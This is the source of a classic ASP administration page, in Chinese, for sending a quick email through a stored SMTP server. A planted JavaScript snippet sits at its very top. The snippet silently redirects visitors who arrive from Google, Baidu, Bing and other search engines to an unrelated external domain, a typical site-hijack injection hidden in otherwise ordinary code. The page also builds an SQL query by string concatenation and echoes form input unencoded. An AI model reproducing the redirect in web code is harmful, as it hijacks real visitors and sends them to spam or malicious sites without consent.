d:\wwwroot\wuchunhua\sendmail\mail_sendunitmail.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<html>
003:
<head>
004:
<title>管理首页</title>
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006:
<link rel="stylesheet" href="inc/style.css">
007:
</head>
008:
<body>
009:
<%
CheckString("211")
%
>
010:
<%
011:
mailserverid=checkstr(request.QueryString("mailserverid"))
012:
mailobjectid=checkstr(request.QueryString("mailobjectid"))
013:
014:
if request.Form("act")="send" then
015:
mailobjectid=GetForm("mailobjectid")
016:
mailserverid=GetForm("mailserverid")
017:
MailtoAddress=GetForm("MailtoAddress")
018:
Subject=GetForm("Subject")
019:
MailBody=GetForm("MailBody")
020:
if isInteger(mailobjectid)=false then ErrMsg = ErrMsg & "● 请选择发信的邮件组件；\n"
021:
if isInteger(mailserverid)=false then ErrMsg = ErrMsg & "● 请选择发信的邮件服务器；\n"
022:
if IsValidEmail(MailtoAddress)=false then ErrMsg = ErrMsg & "● 输入的接收方邮箱地址不正确；\n"
023:
if Subject="" then ErrMsg = ErrMsg & "● 请输入邮件标题；\n"
024:
if MailBody="" then ErrMsg = ErrMsg & "● 请输入邮件内容；\n"
025:
026:
if ErrMsg="" then
027:
set rs=conn.execute("select * from vn_mailserver where id="& mailserverid &"")
028:
isHtml=1
029:
Priority=3 '-----信件优先级
030:
FromMail=rs("mailaddress")
031:
MailSmtp=rs("mailserver")
032:
MailUsername=rs("mailloginname")
033:
MailPassword=rs("mailloginpwd")
034:
rs.close:set rs=nothing
035:
if mailobjectid="1" then sendstate=JmailSend(Subject,MailBody,isHtml,Priority,MailtoAddress,MailtoName,FromMail,FromName,MailSmtp,MailUsername,MailPassword)
036:
if mailobjectid="2" then sendstate=Cdonts(Subject,MailBody,isHtml,Priority,MailtoAddress,MailtoName,FromMail,FromName,MailSmtp,MailUsername,MailPassword)
037:
if mailobjectid="3" then sendstate=Aspemail(Subject,MailBody,isHtml,Priority,MailtoAddress,MailtoName,FromMail,FromName,MailSmtp,MailUsername,MailPassword)
038:
039:
if sendstate Then
040:
alert"邮件发送成功。","?mailserverid="&mailserverid&"&mailobjectid="&mailobjectid
041:
else
042:
ErrMsg = ErrMsg & "● 邮件发送失败，请重试！\n 如果多次发送失败，请检查邮件服务器参数；\n"
043:
end if
044:
end if
045:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
046:
end if
047:
%
>
048:
<table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk">
049:
<form name="Form1" method="post" action="?">
050:
<input name="act" type="hidden" value="send">
051:
<tr>
052:
<td height="25" class="table_titlebg" colspan="2"> 快速发送邮件</td>
053:
<tr>
054:
<td align="right" class="table_trbg02">服 务 器：</td>
055:
<td class="table_trbg02"><select name="mailobjectid">
056:
<option value="">选择邮件组件</option>
057:
<%
058:
if mailobjectid="1" then selectedstate=" selected" else selectedstate=""
059:
if IsObjInstalled("JMail.Message") or IsObjInstalled("JMail.SmtpMail") then response.Write("<option value=""1"""& selectedstate &">JMail</option>")
060:
if mailobjectid="2" then selectedstate=" selected" else selectedstate=""
061:
if IsObjInstalled("CDONTS.NewMail") then response.Write("<option value=""2"""& selectedstate &">CDONTS</option>")
062:
if mailobjectid="3" then selectedstate=" selected" else selectedstate=""
063:
if IsObjInstalled("Persits.MailSender") then response.Write("<option value=""3"""& selectedstate &">ASPemail</option>")
064:
%
>
065:
</select> 自动列出当前系统支持的组件</td>
066:
</tr>
067:
<tr>
068:
<td align="right" class="table_trbg02">服 务 器：</td>
069:
<td class="table_trbg02"><select name="mailserverid">
070:
<option value="">选择邮件服务器</option>
071:
<%
set rs=conn.execute("select * from [vn_mailserver] order by orders, id desc")
072:
do while not rs.eof
%
>
073:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),mailserverid)
%
>>
<%
=rs("mailaddress")
%
>(
<%
=rs("mailloginname")
%
>)</option>
074:
<%
075:
rs.movenext
076:
loop
077:
rs.close:set rs=nothing
078:
%
>
079:
</select></td>
080:
</tr>
081:
<tr>
082:
<td align="right" class="table_trbg02">接收地址：</td>
083:
<td class="table_trbg02"><input name="MailtoAddress" type="text" class="input" id="MailtoAddress" value="
<%
=MailtoAddress
%
>" size="50"></td>
084:
</tr>
085:
<tr>
086:
<td align="right" class="table_trbg02">邮件标题： </td>
087:
<td class="table_trbg02"><input name="Subject" type="text" class="input" id="Subject" value="
<%
=Subject
%
>" size="50"></td>
088:
</tr>
089:
<tr>
090:
<td align="right" class="table_trbg02">邮件内容： </td>
091:
<td class="table_trbg02"><textarea name="MailBody" cols="80" rows="20" class="textarea" id="MailBody">
<%
=MailBody
%
></textarea></td>
092:
</tr>
093:
<tr>
094:
<td height="40" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value="发 送">
095:
<input type="button" name="Submit" value="关 闭" onClick="javascript:window.close();"></td>
096:
</tr></form>
097:
</table>
098:
</body>
099:
</html>
100:
101:
102: